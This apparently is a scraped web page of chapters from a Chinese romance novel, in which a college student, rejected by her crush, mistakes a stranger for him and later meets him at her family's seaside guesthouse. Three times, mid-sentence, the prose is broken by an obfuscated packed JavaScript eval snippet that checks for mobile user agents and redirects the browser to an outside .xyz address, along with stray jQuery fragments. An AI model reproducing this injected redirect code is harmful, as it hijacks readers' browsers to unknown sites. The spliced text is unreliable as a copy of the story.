尾音几乎要轻得听不到，夏汀禾都没想到自己最后会说出这样的话。 她一开始只是想过来问原因，只是一看到付言辞，就忍不住地想去靠近他，控制不住地想要抓住任何一点希望。 不远处的广场开始办活动，传来阵阵热闹的欢呼声，相比之下，他们这边却异常地安静。 对面的人久久没有回答。 好一会儿后，夏汀禾自知大概是她让付言辞陷入为难的境地了。 答案已经显而易见了。 他对她根本没有别的意思。 她在付言辞的眼中，和其他任何女生都没什么不同。 一腔热血过后只剩下羞愧，夏汀禾开始后悔自己把本就捅破的窗户纸拆得更加稀碎。 她在做什么？ 为什么要说出这样的话？ 为了日后见面不尴尬，她本能地想道歉。 夏汀禾揉了下眼睛，带着点鼻音说：“抱歉，我没太控制住自己的情绪，我……” 还没说完，一辆车突然从侧边冲出来，擦着付言辞的背后而过。 双闪打得无比刺眼。 心率直接往最高峰冲，完全没再关心其他，夏汀禾直接抓住他的手，猛地把人往边上拽。 司机像是没注意到马路边有他们两个大活人，一脚蹬油门，头也不回地就跑了。 等到车走远了，夏汀禾才缓了过来。 这时感觉到旁边的人动了下手往回抽，她低头去看。 付言辞的手背已经多了一条红痕。 是被她刚刚不小心抓出来的。 挺长的一条，尽管没出血，看着也很突兀。 表白的话已经完全不记得了，心里一拧，夏汀禾立即想问他是不是很疼。 “是不是……” 刚开口，抬头却对上一张陌生的脸。 后半句话顿时就在嘴边消了音。 站在她面前身高腿长的男生，除了身形略微和付言辞相似，长相几乎是完全不搭边。 两个人可以说是完全不同的类型。 她认错人了。 刚才一股脑的情绪悉数消失，脸上表情还凝固着，夏汀禾茫然地望着对方，完全忘记了下一步的动作。 没给她反应的机会，男生明亮的眼眸扫过她后，很快抽回手活动了下，像是知道夏汀禾要问什么，他笑了笑，对她说： “还好，不是很疼。” “不过没想到你换心上人的速度还挺快。” 怕夏汀禾听不清楚，他还提高了点音量，挑了下眉对她说： “行，我答应了。” “走吧，女朋友。” 夏汀禾的酒顿时醒了过来。 4. 照片 提前预定的饭馆开在纵横交错的街道里，夏汀禾花了差不多十分钟才从地图上摸出一条路线过去。 宁苒怕她看不到店门，在她快要过来时，特意站在门口等着。 “汀妹，这边！”宁苒招了招手，“你怎么这么久才过来？这离商场也没多远啊。” 被她这么一问，刚才发生的尴尬画面再一次浮现出来，夏汀禾迅速摇头，不太熟练地扯谎：“我找错位置，迷路了……” 这家私房菜馆是她们被同学推荐过来的。第一次来，找不到地也正常。 宁苒没多想，挽着她的胳膊带着她往店里走：“好吧，下次还是不要让你一个人乱跑了。” 夏汀禾红着耳尖胡乱点了点头。 接近晚上九点，店内已经没多少人，除了她们这桌，也就只有老板一家人和其他两桌客人。 另外两桌像是常来的，几对男女约莫三四十几岁，喝着啤酒吹着风扇，姿态闲散地高谈阔论，时不时轰然大笑，连风扇呼啦转圈的声响都能盖过去。 选择这里的最大好处显而易见——不用担心碰到熟人，谈论的话题也没谁会去细听。 正是因为知道夏汀禾不喜欢被太多人知道自己的事，她们才挑了这家店。 老板娘也热情，见她们几个小妹妹一起过来，立刻拿了菜单和免费的小吃过来，笑眯眯道： “我说刚刚来了怎么也不点餐呢，原来是还在等朋友啊，小姑娘们感情真好。” 对方的目光落在身上，夏汀禾腼腆地笑了笑，转而就被宁苒扯着坐下。 宁苒爽快地接了老板娘的话：“那当然啦阿姨，我们是室友，每天吃喝睡觉都在一起，感情想不好都难。” 老板娘被她逗笑，又给她们送了一瓶饮料。 人到齐了，按规矩轮流点菜。 三个室友不约而同地先选了夏汀禾喜欢吃的，随后又把菜单递了过去，给了她自己。 “汀妹你看看还有什么想吃的，随便点，今天算我们三个的。” 室友在照顾她的心情，夏汀禾推辞了没用，只好说下次她来请。 宁苒一句话就推了过去：“哎呀，下次的事下次再说啦。点菜吧，我都快要饿死了。” 没再纠结，夏汀禾很快勾选了几个她们平常都爱吃的，交了差。 店里都是现做现炒的菜，上餐要费上一点时间。 这种场合大多数时候都是几个室友兴奋地讨论最近好玩的事，夏汀禾在一旁听着。 习惯了这样的流程，把菜单一放下，她就给几人倒了饮料。 等准备递过去时，却发现对面的几个都一言不发地看着自己。 夏汀禾：“……” “怎么了吗？”夏汀禾摸了摸脸颊。 室友同步摇头：“没。” 夏汀禾点了点头，把水放到她们面前。 不是能藏事的性子，宁苒端起玻璃杯喝了一口，清了清嗓，率先开了口。 “汀妹。”她和夏汀禾坐在木桌的同一边，顺手就把手搭在了她的肩膀上。 夏汀禾看了过去。 “那个，刚刚不好意思啊。”宁苒抿了下唇，一脸歉意，“我们不该在你面前说付言辞的坏话。” 宁苒扯了扯牛仔裙上的流苏，努力又加了几句解释：“你喜欢他肯定有自己的理由，而且他确实条件也挺好。我们绝对不是说你眼光差！只是很生气，一下子没忍住……就顺口骂了。” “对对对！”找到了加入的机会，其他两个室友跟着应和，“跟你没关系，我们只是单纯地针对这件事，觉得很不合理。” 三人在夏汀禾出去吹风后开始讨论，最后一致觉得是她们几个没有过这么刻骨铭心暗恋的，说话太重了，没安慰到人反而让人更加不高兴了。 说人家喜欢的人很差，不就间接等于否定她的眼光嘛。 深刻反思后，这才来和夏汀禾道歉。 没想到自己的举动会被她们这么仔细地考虑，心里像是有一阵微风轻拂而过，暖洋洋的。 尽管没有这样的想法，夏汀禾也仍旧笑了笑，温声道：“没关系，我知道的。” 宁苒主动把这笑理解为苦涩的笑，灵光一闪，立刻换了个法子安慰：“不过话说回来，虽然付言辞还行，但我是觉得，咱们没必要在一棵树上吊死，是吧？” 说完，她对对面的冲浪达人黎穗眨了眨眼。 黎穗迅速就搬着椅子坐了过来，打开自己的手机给夏汀禾看。 几个人瞬间就把她团团围住。 夏汀禾还没明白她们在做什么，黎穗已经点开了相册，边滑动照片边拍着胸膛对她说： “我保证，这几个绝对是你的菜，而且都是我认识的，人品绝对没问题。像这个，和付言辞一个类型，长相没他那么顶，但也绝对不差。而且汀妹你放心，都是单身。” “你要是对哪个有意思，我帮你联系。” 夏汀禾这才反应过来她们是打算给自己牵线。 “还有这个，我们部门最多人追的会长……” 三人轮流把照片上的人给她介绍了一遍，最后索性把手机直接丢给了夏汀禾，让她自己找个合眼缘的，约出来吃饭玩什么的事交给她们就行。 照片上的人的确长相都算得上是标准之上的，但夏汀禾没有多大兴趣。 刚表白失败，她对这方面已经没有太多的念想。 或许以后也很难会再喜欢上别人。 只是这是朋友给她认真选的，夏汀禾不好拒绝，只好轻轻点了下头，装作认真地滑动来看。 照片是从各大渠道上搜索过来的，或是生活照或是本人的证件照。 无意间翻到一张高中背景的，夏汀禾忽地想到，她也有过付言辞的一张照片。 是毕业那天，班里的一位男生带了相机过来，说是新买的要验机，随便找人先试一下。当时刚好只有她和付言辞就在现场，于是就在教室里给他们两个拍了张。 当着付言辞的面，夏汀禾不敢问别人要照片，当天晚上回家后，她才联系了那位同学，小心翼翼地询问导出来的话，能不能发她一份。 男生很爽快地答应了，那天晚上夏汀禾久坐在书桌前，庆幸又羞涩地一遍一遍放大照片看。 尽管当时他们隔得有一段距离，甚至中间还摆着桌子，但她还是脸红了。 因为是唯一的一张，所以那张照片至今还保存在她的相册里。 仅她自己可见。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509841|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恍然一下又想到了付言辞身上，回过神来看着面前照片里陌生的人，夏汀禾更加感觉兴致缺缺。 抬头看了一下室友，发现她们已经聊去了别的话题，眼下注意力不在她身上。 夏汀禾莫名心虚地加快了翻动的速度，想趁着室友交谈的瞬间，快点完成任务交差。 后面几张几乎都没看清楚是男是女。 直到一张熟悉的脸突然闯入视线。 夏汀禾倏地停住了动作，目光微怔。 “诶，汀妹看到哪了？”宁苒正好抽空往她这儿瞥了眼。 见她还在盯着手机，宁苒心想这八成是有希望，立刻凑了过来，高兴地问：“怎么样？是不是还是有看得过去的？” 等看到照片上的人，宁苒立马转了话锋：“这不是穗穗今天在群里发的那张吗？比付言辞还带感的那个！” 黎穗正在吃店里的免费零食，闻言赶紧起身过来，戴眼镜瞥了下。 “哦，不是不是！这个是我存相册里忘记删了，他和我可不熟。” 宁苒接了话：“那也行啊！就这个长相才配得上我们汀妹，而且看着感觉性格也不错？” 黎穗迅速做了个比叉的手势：“那可千万别。” 她解释道：“下午听讲座的时候我就打听了，这位不是我们学校的，是隔壁A大天文系的。性格确实不错，挺随和的，和男的女的都玩得来。不过你仔细看看，就这张脸，看着就像谈过一百个，咱们还是千万别招惹，小心被骗得裤衩子都不剩。” 早上参与了八卦，一直在旁边听着的应忱也发表了看法：“穗穗说的没错，我有高中同学就在A大天文系，也和我说过他。” 作为宿舍里性子最稳重的，她说话也像是在客观分析：“贺祁，好像是叫这个名字。家里挺有钱的，不过就是表面看着浪，实际上挺不好接近的，距离感很强。和他做普通朋友还行，相处会很舒服。” 应忱耸了耸肩：“但是更进一步的，基本不可能。” 被室友提醒了，黎穗突然恍然大悟似地点点头，很快补了具体事例：“就不久前，有个喜欢她很久的女生因为家里的一些事，心理状态挺糟糕的，女生朋友就想让他去说一些开导的话，他直接拒绝了，问女生是谁？和他有什么关系？表情冷得一批，当着几十个人的面吧，想想都尴尬死了。” “估计女生的朋友也是以为他性格不错才会去问的。所以别说难追了，汀妹这么单纯，就算追到手了，根本玩不过的，坚决不要。” 考虑到夏汀禾的性子，宁苒被说服了，点了点头：“那还是算了。” “咱们还是看看其他人。” “没错。” 三个人讨论得热火朝天，只有夏汀禾没做回应。 手机上的照片还停在刚才那一张。 像是被偷拍的角度，画面中的男生穿着一身黑红色球服，侧对着镜头坐在篮球场旁边的跑道上，正仰头喝着矿泉水。 喉结凸起，手指冷白修长。 似乎是看到了什么有意思的场景，喝水时脸上还带着笑。 除了没那么清楚之外，懒散的笑容以及玩世不恭的态度，和夏汀禾在十几分钟前看到的，几乎一模一样。 5. 行李箱 几天后，最后一场考试结束，学院放假的通知也跟着下来。 一看到群消息，几个人就忙不迭地从考场赶到了宿舍收拾行李。 “没日没夜的生活终于结束了，刚才我爸妈给打电话过来，我已经开始点菜了。辛苦了这么久，好歹也要犒劳一下自己。” 宁苒满心欢喜地跑到夏汀禾旁边给她分享自己爸妈提前备好的菜，海鲜火锅大餐这些不用说，为了庆祝她回来，她爸妈还特意定了一家人国外的旅游行程。 “你们有想要买什么可以找我代购啦，只要我带得回来。” 黎穗点名要了一份当地的纪念品，应忱跟着选了一本书之后，抬了下鼻梁上的眼镜，冷静提醒道：“提前谢谢了，不过大吃大玩一顿之前记得交实验报告。” “实验报告？”宁苒痛心地看了她一眼，“忱姐，咱们放假的好日子就不要在提这种不好的事了行吗？没有人会想在假期前写作业的！” 痛斥完后，她又扬起笑脸转头看向夏汀禾：“汀妹呢？有什么想要我带的吗？” 不知道想到了什么，夏汀禾愣了一两秒，摇了摇头：“应该没有，谢谢。” “行，那你想到了可以随时发消息给我。” 宁苒也没纠结，说完就拖着行李箱出了宿舍门，和大家摆手告别：“九月再见啦各位，我爸妈还等着我回去，我就先走咯。” 门一关上，楼道里就传来行李箱下阶梯的砰砰声响。 平日里话最多的走了，宿舍里顿时安静了不少。 看黎穗还在椅子上坐着，完全没有要收拾的意思，应忱问了一句：“穗穗你今天不回去吗？” 黎穗摘了耳机抬头，无奈叹了口气：“回家了待不过三天，就要从起床被骂到吃饭，我还是再享受一下学校里的生活，等想他们了再回去吧。” 饶是应忱平常少有表达自己的情绪，这时也没忍住，感同身受似的地点了点头。 找到了同病中人，黎穗“腾”一下从椅子上起来，跑到应忱身边细数自己假期的血泪史。 耳边是室友吵闹的声音，夏汀禾心里却格外安静，从订票软件界面退出后，她盯着手机发了会儿呆。 隔了段时间，她从消息列表里翻找出熟悉的头像。 指尖停在上面，然而等了许久，终究还是没有点开。 - 机票定在下午三点，害怕赶不上航班，夏汀禾习惯早到，提前了几个小时从宿舍出发。 宿舍楼离校门口有段距离，再加上拖着行李箱，肩上还背着包，没多久手上便留下了一道红印。 迎着烈日，实在有点精疲力尽。把行李箱推到路边，夏汀禾走到树下停下来休息。 她从包里翻出小风扇吹风，凉风拂过脸颊，身上的热意才慢慢降了下来。 今天离校的人其实不少。 往四周看去，有几对父母边围着各自的孩子帮忙边听他们抱怨学校里的事，脸上的笑容几乎没停过。 这种场景在学校里是常见的。 但夏汀禾看了很久，好一会儿后，她才收回了视线，往向了别处。 这一瞥，忽地发现自己站在的地方，是付言辞的宿舍楼下。 事情已经过去了几天，夏汀禾本来以为心里的感觉会少一些了，但直到看到和对方有关的东西，才意识到并没有。 他的一切都仍旧在牵制着她。 夏汀禾很快关了风扇，收好东西打算离开。 只是越是逃避就越逃避不了，她刚推动行李箱，付言辞正好就从楼下出来。 “言辞！” 是室友在叫他。 像是控制不住一般，夏汀禾倏地就顿住了脚，往那边匆匆看了一眼。 此刻的付言辞已经换了一身更干净清爽的白t和休闲裤，手里拎着一份文件袋，但脸上神情依旧冷淡，甚至比前几日见面时看上去更加不好接近。 陈航搭着他的肩膀，和他一起走着，声音穿过人少的阴凉小道，落到夏汀禾的耳中。 “言辞，你放假不回家？不会还要背着我们偷偷搞学习吧？不带这么卷的吧？” 付言辞本来就是专业第一，不怕人勤奋，就怕人成绩比你好还努力。因为宿舍里有个卷王在，陈航早就被家里人给说惨了。 这付言辞要是放假都不回家了，那被他爸妈知道了，八成提前半个月就得逼他来学校。 完全是无妄之灾。 “不是。”付言辞回他。 被否定了陈航也不信，正要继续控诉，扭头却瞥到了站在路边树下的夏汀禾。 一身简简单单的白裙，扎着马尾，校园里再普通不过的穿搭，但肩上的红色书包格外惹眼。 因为那天在羽毛球馆八卦过还挨了一拳，陈航对夏汀禾记忆深刻。 这下“无妄之灾”都抛掷脑后了，他连着啧了好几声，接着便拍了下付言辞的肩膀：“言辞，往那边看看。” 陈航琢磨了一下称呼才说出口，意味深长地说：“你高中同学好像要回家，东西看起来挺重，不去帮人家搬一下？” 夏汀禾背对着他们，手里推着行李箱快速地往前走，轮滑磕碰着柏油路发出摩擦的声响。 她想快点离开，但还是忍不住去听他们那边的谈话，想知道付言辞是什么反应。 也许…… 还有一点希望呢？ 脚步不自觉地慢了下来，她用余光小心翼翼地看了下付言辞。 从陈航告知他自己在这里后，付言辞就停了下来，没再往前走。 他看到她了吗？ 应该看到了吧。 她站的这个地方，周边也只她一人而已。 夏汀禾在心里苦涩又抱着一丝期待的想：会不会，他会叫住自己？解释说那天晚上并不是在拒绝她？ 不出意外，这是放假前的最后一次见面了。 如果今天没有结果，那以后应该也不会有可能了。 因为希望着他会开口叫住自己，夏汀禾往前走的速度更加不自觉地慢了些。 隔了片刻，付言辞的确开口说话了，不过说是对陈航说的。 “没什么事的话我先走了。” 他语气更冷了些：“还有，麻烦下次别随便插手我的事。” 付言辞甚至连原来的路线都没走，直接选择了朝着和她完全相反的反向离开。 眼前慢慢变得模糊起来，夏汀禾在原地站了好一会儿，才想起来自己还要赶航班。 - 一小时的航程不算太远，夏汀禾全程机械地过安检、登机，很快就抵达了目的地。 只是从机场出来后，外面突然下起了大雨。 没带伞，去地铁口是没办法了，她从路边随便拦了一辆车，直接坐车从机场回家。 雨势太大，即便淋雨只有短短的几分钟，到家了她身上基本上也被打湿了大半。 拖着湿粘的衣裤进了门，习惯了家里常年没人在，没有喊谁，夏汀禾把行李箱往客厅里一推，就直接在沙发上躺下。 往常她至少会先洗个澡换身衣服，但现在只觉得累，什么都不想做，也不想去思考。 只要她还醒着，耳边就会不停地回响付言辞说的那几句话。 她强迫自己闭上眼睡觉。 只要睡着了，就可以不用去想这几天发生的事，可以当作没有看到付言辞今天的所作所为。 或许是意念真的过于强大，挣扎了许久，紧绷着的神经终于松懈下来。 夏汀禾少见地做了个很长的梦。 梦里的情形并不安稳，一会儿是小时候父母离婚的画面，两个人争着吵着互相嚷斥，一会儿是她初中一个人偷跑去另外一城市，以为会有人来找自己，结果只有因为她几天没来上课，同桌发现不对劲的场景。 各种状况交织，并起来困住了她。 房间里没开空调，身上还盖着摊子，夏汀禾额头上慢慢出了一层薄汗，放在身侧的手下意识地紧攥着。 “汀禾？汀禾！” 不知过了多久，耳边的喊声逐渐清晰起来，夏汀禾睁开眼从梦中醒来，恍惚看到凑近的一张脸。 室内没有开灯，窗外已经是一片昏暗。 到晚上了。 “舅妈？”她下意识地喊了一声，喉咙后知后觉有些发痛。 舅妈顺手开了灯，又利索地从厨房里端了一杯热水给她，半埋怨半心疼地说：“你放假回家了怎么不和家里人说一声？外面下这么大雨，又没带伞，不知道叫舅舅舅妈开车去接你？” “淋湿了一身感冒了，吃药打针了，这是好受的？” 不敢反驳，拿纸巾擦了下脸上的汗后，夏汀禾只得乖乖接过水喝了一口，等舅妈说完了，才敢小声说：“下次不会了。” “算了算了，记住了就行。” 结果转眼看她身上的衣服还湿着，舅妈心里的气又涨了几分：“你这孩子，衣服裤子都没换，就在沙发上睡觉了？！” “现在赶紧的，去洗澡。我去开热水器，你把睡衣找出来。” 夏汀禾半点不敢耽搁，立刻就照办了，急急忙忙地从行李箱里翻出睡衣，跑进浴室。 “衣服找好了？”舅妈边帮她调热水器边责备地看她。 “嗯。”夏汀禾乖乖点头。 就在有预感会被骂一顿时，舅妈转而又想到什么似的，立刻一拍大腿，往门外跑： “楼下还煲了汤的，差点给忘了！我先过去看看！玉米排骨汤，赶紧洗了澡下来喝，听到没！” 夏汀禾忙不迭应了一声，舅妈就在门口换了鞋，赶忙往隔壁去了。 夏汀禾这才松了口气。 她的外婆去世得早，妈妈和舅舅从小扶持着一起长大。长姐如母，后来即便舅舅结了婚，也选择就住在姐姐的隔壁。 这些年，夏汀禾妈妈不在家的日子，她多半就是被舅舅和舅妈照顾。 两口子在这边海边的旅游景点开了家民宿，离住的地方也不远，日子过得轻松自在，不过就是因为舅妈身体不好只生了个儿子，所以两人几乎是把夏汀禾这个侄女，当作女儿来疼。 被说了一顿，吃饭的事上夏汀禾不敢再磨蹭，洗完了澡就立刻去了隔壁。 一个小区里的房子，装修样式大差不差，进了屋，夏汀禾径直走向餐厅，舅舅舅妈正收拾着碗筷。 见她过来了，舅妈舀了一大碗放在她的面前，叮嘱道：“先吃排骨，把排骨吃了再吃别的，不然待会儿又说吃不下了。” 小心思被人看破，夏汀禾只好把筷子从玉米上收回，夹了一块排骨轻咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509842|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一口。 她其实不怎么爱喝汤，排骨虽然说是补蛋白质，但太清淡了，没什么味道，她不喜欢，唯有里面的玉米脆甜，能让她多吃两口。 更别说今天心情很糟糕，几乎没有什么胃口。 趁着舅妈忙活着给舅舅装汤，夏汀禾把排骨往碗底下挪了挪，看着一脸乖乖地转移话题：“不等表哥吗？” 这一句话算是成功引走了战火。 舅舅当即就拍了一下桌子：“别管那混小子，前几天放了假就不知道跟哪几个狐朋狗友出去了，到现在白天还没见着个人影。让他去店里搭把手，那是更别想。” 舅舅舅妈嘴上虽总是对人说自家儿子的短处，但实际上儿子也正是因为被他们宠着长大的，所以胆子大，做错了事顶多回家和爸妈撒个娇就可以蒙混过去了。 看到舅舅一脸嫌弃的夸张模样，夏汀禾莫名觉得周遭的苦涩少了许多，她发自心底地笑了下，道：“那我去店里面帮忙吧。” 今年的暑假没想去实习，也算是清闲。 “那不用。”但舅舅立刻摆了手，“我到时候再多招一个人就是。” 夏汀禾想解释说自己有时间，舅舅紧接着又说了原因： “平时你在学校学习辛苦，放假了就好好休息，钱不够了和舅舅说。你喜欢吃的零食还有面包什么的，你舅妈都买了，放在客厅沙发旁边的柜子里。上次回家不是说家里没什么吃的，饿着可不是事，但这些都加了添加剂的，不要经常吃。” 一旁舅妈听了，也跟着道：“你舅舅说得没错，水果也最好吃应季的。去年暑假我看你别的都不怎么动，就喜欢吃西瓜，朋友那有个果园，过阵子我去摘一些回来。” “那还不如咱们一家人开车过去现摘现吃。” “也是哦，放假老是待在家里也不好，不晒太阳，不利于吸收钙。那就选个时间咱们一起过去，汀禾也看看还有没有其他喜欢吃的。” …… 两人像平常一样一人一句地唠叨着，夏汀禾捧着盛排骨汤的瓷碗，却慢慢地红了眼眶。 - 太久没见面，夏汀禾在舅舅家坐到了晚上十点才回自己家。 离开前，她要求了好几遍，两口子才终于答应了让她来店里帮忙，不过也就是这阵子旺季忙的时候做一下前台助理，等招到了人她就不能再胡来了。 头一天定了闹钟，第二天七点，夏汀禾就起了床，收拾好自己跑去了店里。 前台小姐姐和她年龄相差不大，知道她来帮忙，也热心地交了她基本的操作，两个人一人负责电脑，一人负责接待，配合得正好。 忙活过了几小时，中途女生接了个家里的电话，有事出去了，这才变成夏汀禾一个人来应对。 好在这时已经接近中午，没什么客人，夏汀禾得以松了口气。 她在办公椅坐下，边揉着小腿放松边点开手机看消息。 忘记了付言辞还被她置顶放在最上面，一点进去便看到了他的名字。 几个再熟悉不过的字。 夏汀禾之前有尝试过给他备注，但换来换去，最终还是没有改。 在她暗恋的那段时光里，他的名字才是最特别的。即便是在人群中听到相似的发音，自己也会跟着心跳加速。 深吸了一口气，夏汀禾选择了取消置顶。发现对话框仍旧在上面，她又接着点了删除。 直至列表里再没有和他有关的，心里的那股异常执着的劲才消散了些。 这个人以后都不会和她有关系了。 她觉得自己做得很洒脱，但一点都开心不起来。 对于付言辞来说，她的存在可有可无，但要把一个在心底记挂了这么久时间的人，从她的世界里抽离，却没那么简单。 夏汀禾揉了揉眼睛，正打算又像昨天一样强迫自己睡觉来结束这些乱七八糟的思绪。 门口的响铃在这时响起。 “叮——” 一上午的培训颇有成效，夏汀禾几乎是条件反射一般地站了起来。 “欢迎光临。” 刚才的事被抛掷脑后，她按照程序问话：“请问有预定吗？有的话麻烦说一下您的名字，以及拿一下身份证。” 台词背得熟练，夏汀禾松了口气，与此同时，她往那边门口看去。 中午阳光正好，那人推着行李箱进来，门口就落下一道瘦高的阴影。 夏汀禾的目光顺势落在了黑色的行李箱上。 男生的手搭在横着的拉杆上，手指冷白修长，骨节分明。 但最显眼的是，手背上有被指甲不小心抓出来的红痕。 很眼熟。 像是她几天前见过的。 心里一惊，夏汀禾再次抬头。 男生一身黑色t恤，宽松的深蓝色牛仔裤衬得身高腿长，另一只手上还拎着酒红色的棒球帽，颜色夺目又张扬。 然而对面的人似乎没认出她来，很自然地笑了下，就把手上的身份证递给了她，道： “有预定，贺祁。” 几天前听过的名字出现在了眼前，从本人口中说了出来。 声音干净清澈。 “麻烦了。” 贺祁抬眼看了下桌上的工作牌，又笑着补了一句称呼：“夏小姐。” 6. 创口贴 夏汀禾是全程低着头帮贺祁办理完入住手续的。 她不知道这人还记不记得几天前的事情。 ……应该是不记得了吧？ 那天晚上他们站的是侧门门口，光线并不好，她又几乎一直是低着头的。除了发现他受伤的那短暂的片刻，两人对视了眼，其余时刻都没有再近距离接触过。 明明对着的是陌生人，心里却莫名地慌张起来。 夏汀禾用最快的速度给了他房卡。 递过去，对方拿走，直接上楼，这就是最简单常见的程序，中间不会再有其他沟通。 “216号房间，可以从那边的电梯上去。”夏汀禾小声地给了最后的指示。 “行，知道了，谢谢。” 贺祁笑了笑，把房卡接了过来。 笑声像是在夏汀禾耳边一样，弄得她耳根有些痒。 他用的是带着伤痕的右手，靠得近了，夏汀禾揉了揉耳朵，看得更清楚了些。 这人似乎没有处理伤口，就这么由着那道印记留在了手背上，突兀又刺眼。看样子好像还因为过多接触了水，本来不大的划痕有隐隐要发炎的迹象。 怎么这么随便啊。 夏汀禾忍不住在心里吐槽了一句，不过这伤口是她造成的，她又有些心虚和自责。 如她所愿，贺祁也没有犹豫，道了谢后就准备往她指着的电梯方向走去。 眼看着人要走了，到时候还像现在这么不注意，伤口说不定会更严重。 而且只是简单说一句话，应该不会被认出来吧？ 纠结再三，夏汀禾还是叫住了他：“诶，你等一下！” 其实贺祁在她刚开口的时候就停了下来，只是夏汀禾急着从前台底下的抽屉里拿东西，也没察觉到这点细微的差别。 他听话地站住了脚，夏汀禾跑到他面前。 还是和刚才一样，低着头的，两边的碎发遮住了大半张脸，贺祁只能看到她巴掌大的脸型轮廓，皮肤白里透着红。 不知道这人正在看着，夏汀禾尽量让自己说得听起来不经意些：“……你的手好像受伤了，最好不要沾水，不然容易发炎。这里有创口贴，可以拿去用。” 她把一盒创口贴递到贺祁面前。 声音温温柔柔的，没什么攻击性。 贺祁没接，就这么看着她。 等到夏汀禾没听到回应，觉得有点奇怪抬眸去瞥他时，他才伸手拿了过来，忍不住扬了下嘴角，问： “创口贴么？多少钱？” “免费的，不用付钱。”夏汀禾很快回答。 这是舅妈之前买着没用的，本来也是想着以备客人需要。不过顶多也是拿一两个给客人应应急，像她这样全部送出去的倒是没有。 “这样啊。” 贺祁重复了一遍她的话，又看了两眼创口贴，像是仔细认真地思考她的建议，但紧接着就把东西递了回去。 他笑了下，说：“不过不用了，我不喜欢在手上贴东西。” 贺祁说得是实话，他确实不喜欢在身上弄一些其他的东西，包括戴的、贴的都一样，唯一没那么排斥、觉得不舒服的，大概也只有脖子上的黑色挂绳项链了。 能理解他觉得麻烦，夏汀禾也没强求。 见她没说话了，贺祁又问她：“还有事么？没的话我先上去了，有点困了。” 夏汀禾看了眼他的脸，完全不像是要睡觉的样子，精神比她这个一大早起来上班的人好多了，只是别人都这么礼貌地要结束话题了，她自然不会拦着。 更何况她本来就是想着远远地离开。 “没有了。”她迅速地摇头，贺祁应了一声就转身进了电梯。 似乎真的没有认出她来。 等人走了，意料之中的，夏汀禾听到周围有人在讨论他。 “我靠我靠！值了值了！没想到随便进一家民宿能看到这个级别的帅哥！” “早知道我就去应聘前台了！” “这家民宿还招人吗？” 舅妈还不知道怎么一回事，只是刚好过来叫夏汀禾去餐厅吃饭，就碰上了一堆人在讨论来民宿工作的事。 她赶忙上去说：“招的，招的，感兴趣的可以直接面谈。” 夏汀禾：“……” - 民宿餐厅就在前面的院子里，看着更像是置办在花园里的餐厅，空间宽阔，四周绕着的一圈都是植物鲜花，视线越过白色栅栏，就可以看到马路边的大海。 夏日的海是蓝绿色的，阳光普照，水面波光粼粼。 木桌配着露营折叠椅，上空支着方形帐篷，底下正好乘凉，因此来这边用餐的顾客也多。 到了餐厅，夏汀禾选了个风大的角落坐下，一边吃饭一边回复室友的消息。 【各位，有个投稿的说今天晚上有个大瓜要投，我已经开始期待起来了！！！[猫猫上蹿下跳jpg.]】 黎穗在放假前一天接到了运营校园墙的任务，此后群里的热闹就没再停过。 【帅哥美女还是时间管理大师和渣男脚踏几只船？别忘了同步汇报】 【放弃看书了，等你】 黎穗回复了第一条：【帅哥就别期待了，我们学校除了付言辞，也找不出来其他的了】 眼前忽地浮现出刚才见过的那张脸，夏汀禾想说她今天倒是碰见了。 不过还在打字，黎穗又紧急撤回了上一条。 没几秒，发了一条新的出来：【呜呜呜，我不该提那个谁的名字，汀妹看到了吗？看到的话——我错了】 直到她这么说了，夏汀禾才意识到自己刚刚没有因为付言辞的名字过多的联想，第一反应竟然是和一个只见过两次面的人有关。 夏汀禾愣了愣，心里掠过一丝复杂的情绪。 她回复黎穗道：【没关系】 回完这条，夏汀禾又想起了昨天付言辞的举动，刚才平和的心情慢慢压低，看着面前精致的食物顿时也没胃口。 她尝试着再吃了两口，但不管怎么样，就是觉得没有刚才那么好吃了。 没再强迫自己，夏汀禾放下刀叉，端起餐盘放进了冰箱，打算等晚上再吃。 大厅里在这时传来熟悉的询问声：“你好，请问民宿是提供接送服务么？” 夏汀禾往后一看，贺祁正站在几米之外的前台那边，询问消息。 声音干净清澈，又带着他本人独特的懒散意味。 少见有长相这么顶的来店里，况且还脸上带笑地看着自己，前台的女生一瞬间就红了耳朵，结巴了一句才回：“是的。” 贺祁是典型的桃花眼，双眼皮，眼眸漆黑深邃，再加上凌冽少年气的长相，女生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509843|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压根不敢在他脸上多看，回应完了很快就把视线挪到了一边。 见女生不太自在，贺祁主动往后站了点，拉开了一些距离，笑了下，自然道： “那能去接一下我朋友么？他刚订的房，打民宿电话没人接，所以让我过来问一句。” 说完，他正好抬头，一眼就看到了站在侧门的夏汀禾。 